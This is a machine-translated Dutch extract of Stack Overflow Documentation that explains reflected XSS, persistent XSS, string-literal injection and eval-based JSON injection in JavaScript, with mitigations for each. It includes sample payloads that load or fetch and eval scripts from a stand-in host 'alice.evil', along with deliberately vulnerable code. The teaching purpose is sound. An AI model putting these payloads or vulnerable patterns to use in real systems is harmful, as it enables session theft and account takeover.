Zoeken…


Invoering

Dit is een verzameling veel voorkomende JavaScript-beveiligingsproblemen, zoals XSS en eval injectie. Deze verzameling bevat ook hoe deze beveiligingsproblemen kunnen worden opgelost.

Gereflecteerde cross-site scripting (XSS)

Stel dat Joe eigenaar is van een website waarmee u zich kunt aanmelden, puppyvideo's kunt bekijken en deze kunt opslaan in uw account.

Wanneer een gebruiker op die website zoekt, wordt deze omgeleid naar https://example.com/search?q=brown+puppies .

Als de zoekopdracht van een gebruiker met niets overeenkomt, ziet hij een bericht in de trant van:

Uw zoekopdracht ( bruine puppy's ) heeft niets opgeleverd. Probeer het opnieuw.

Op de backend wordt dat bericht als volgt weergegeven:

if(!searchResults){
    webPage += "<div>Your search (<b>" + searchQuery + "</b>), didn't match anything. Try again.";
}

Wanneer Alice echter zoekt naar <h1>headings</h1> , krijgt ze dit terug:

Jouw zoektocht (

rubrieken

) kwam met niets overeen. Probeer het opnieuw.

Raw HTML:

Your search (<b><h1>headings</h1></b>) didn't match anything. Try again.

Dan zoekt Alice naar <script>alert(1)</script> , ziet ze:

Uw zoekopdracht () heeft niets opgeleverd. Probeer het opnieuw.

En:

Een waarschuwingsvak met de tekst "1".

Dan zoekt Alice naar <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies , en kopieert de link in haar adresbalk, en e- <script src = "https://alice.evil/puppy_xss.js></script>really cute puppies Bob:

Bob,

Wanneer ik naar schattige puppy's zoek , gebeurt er niets!

Dan laat Alice met succes haar script uitvoeren terwijl Bob is aangemeld bij zijn account.

Mitigation:

  1. Ontsnap aan alle punthaken in zoekopdrachten voordat u de zoekterm retourneert wanneer er geen resultaten worden gevonden.
  2. Retourneer de zoekterm niet wanneer er geen resultaten zijn gevonden.
  3. Voeg een inhoudsbeveiligingsbeleid toe dat weigert om actieve inhoud van andere domeinen te laden

Persistent Cross-site scripting (XSS)

Laten we zeggen dat Bob een sociale website bezit waarmee gebruikers hun profielen kunnen personaliseren.

Alice gaat naar de website van Bob, maakt een account aan en gaat naar haar profielinstellingen. Ze stelt haar profielbeschrijving in op I'm actually too lazy to write something here.

Wanneer haar vrienden haar profiel bekijken, wordt deze code op de server uitgevoerd:

if(viewedPerson.profile.description){
    page += "<div>" + viewedPerson.profile.description + "</div>";
}else{
    page += "<div>This person doesn't have a profile description.</div>";
}

Met als resultaat deze HTML:

<div>I'm actually too lazy to write something here.</div>

Dan stelt Alice haar profielbeschrijving in op <b>I like HTML</b> . Wanneer ze haar profiel bezoekt, in plaats van te zien

<b> Ik hou van HTML </b>

ze ziet

Ik hou van HTML

Vervolgens stelt Alice haar profiel in op

<script src = "https://alice.evil/profile_xss.js"></script>I'm actually too lazy to write something here.

Wanneer iemand haar profiel bezoekt, krijgt ze het script van Alice op Bob's website terwijl ze zijn ingelogd als hun account.

verzachting

  1. Escape-hoekbeugels in profielbeschrijvingen, etc.
  2. Bewaar profielbeschrijvingen in een tekstbestand dat vervolgens wordt opgehaald met een script dat de beschrijving toevoegt via .innerText
  3. Voeg een inhoudsbeveiligingsbeleid toe dat weigert om actieve inhoud van andere domeinen te laden

Aanhoudend cross-site scripting van JavaScript-stringliterals

Stel dat Bob eigenaar is van een site waarmee u openbare berichten kunt plaatsen.

De berichten worden geladen door een script dat er als volgt uitziet:

addMessage("Message 1");
addMessage("Message 2");
addMessage("Message 3");
addMessage("Message 4");
addMessage("Message 5");
addMessage("Message 6");

De functie addMessage voegt een gepost bericht toe aan de DOM. In een poging XSS te voorkomen, wordt HTML in berichten die worden gepost, echter ontsnapt.

Het script wordt op de server als volgt gegenereerd:

for(var i = 0; i < messages.length; i++){
    script += "addMessage(\"" + messages[i] + "\");";
}

Dus plaatst Alice een bericht dat zegt: " My mom said: "Life is good. Pie makes it better. " Wanneer ze het bericht vooraf bekijkt, ziet ze in plaats van haar bericht een fout in de console:

Uncaught SyntaxError: missing ) after argument list

Waarom? Omdat het gegenereerde script er zo uitziet:

addMessage("My mom said: "Life is good. Pie makes it better. "");

Dat is een syntaxisfout. Dan plaatst Alice:

I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//

Dan ziet het gegenereerde script eruit als:

addMessage("I like pie ");fetch("https://alice.evil/js_xss.js").then(x=>x.text()).then(eval);//");

Dat voegt het bericht I like pie , maar het downloadt en voert ook https://alice.evil/js_xss.js wanneer iemand de site van Bob bezoekt.

Mitigation:

  1. Geef het geposte bericht door aan JSON.stringify ()
  2. In plaats van een script dynamisch te bouwen, bouwt u een tekstbestand zonder opmaak dat alle berichten bevat die later door het script worden opgehaald
  3. Voeg een inhoudsbeveiligingsbeleid toe dat weigert om actieve inhoud van andere domeinen te laden

Waarom scripts van andere mensen uw website en bezoekers kunnen schaden

Als u niet denkt dat schadelijke scripts uw site kunnen schaden, heeft u het mis . Hier is een lijst van wat een kwaadaardig script zou kunnen doen:

  1. Verwijder zichzelf van de DOM zodat deze niet kan worden getraceerd
  2. Steel de sessiecookies van gebruikers en stel de scriptauteur in staat om in te loggen en zich voor te doen als deze
  3. Toon een nep "Uw sessie is verlopen. Log opnieuw in." bericht dat het wachtwoord van de gebruiker naar de auteur van het script stuurt .
  4. Registreer een kwaadwillende medewerker die een kwaadaardig script uitvoert bij elk paginabezoek aan die website.
  5. Plaats een neppe betaalmuur die eist dat gebruikers geld betalen om toegang te krijgen tot de site die daadwerkelijk naar de scriptauteur gaat .

Denk alstublieft niet dat XSS uw website en haar bezoekers geen schade zal berokkenen.

Geëvalueerde JSON-injectie

Stel dat wanneer iemand een profielpagina op de website van Bob bezoekt, de volgende URL wordt opgehaald:

https://example.com/api/users/1234/profiledata.json

Met een reactie als deze:

{
    "name": "Bob",
    "description": "Likes pie & security holes."
}

Dan worden die gegevens geparseerd en ingevoegd:

var data = eval("(" + resp + ")");
document.getElementById("#name").innerText = data.name;
document.getElementById("#description").innerText = data.description;

Lijkt goed, toch? Mis.

Wat als iemands beschrijving Likes XSS."});alert(1);({"name":"Alice","description":"Likes XSS. ? Lijkt raar, maar als het slecht wordt gedaan, is het antwoord:

{
    "name": "Alice",
    "description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
}

En dit zal eval worden:

({
    "name": "Alice",
    "description": "Likes pie & security holes."});alert(1);({"name":"Alice","description":"Likes XSS."
})

Als je denkt dat dit geen probleem is, plak je dat in je console en kijk je wat er gebeurt.

Mitagation

  • Gebruik JSON.parse in plaats van eval om JSON te krijgen. Gebruik over het algemeen geen eval en gebruik absoluut geen eval met iets dat een gebruiker zou kunnen beheersen. Eval creëert een nieuwe uitvoeringscontext , waardoor een prestatiehit ontstaat.

  • Ontsnap goed " en \ in gebruikersgegevens voordat u deze in JSON plaatst. Als u gewoon aan de " ontsnapt, gebeurt dit:

    Hello! \"});alert(1);({
    

    Wordt omgezet in:

    "Hello! \\"});alert(1);({"
    

    Oeps. Vergeet niet om zowel de \ als de " te ontsnappen, of gebruik gewoon JSON.parse.



Modified text is an extract of the original Stack Overflow Documentation
Licentie onder CC BY-SA 3.0
Niet aangesloten bij Stack Overflow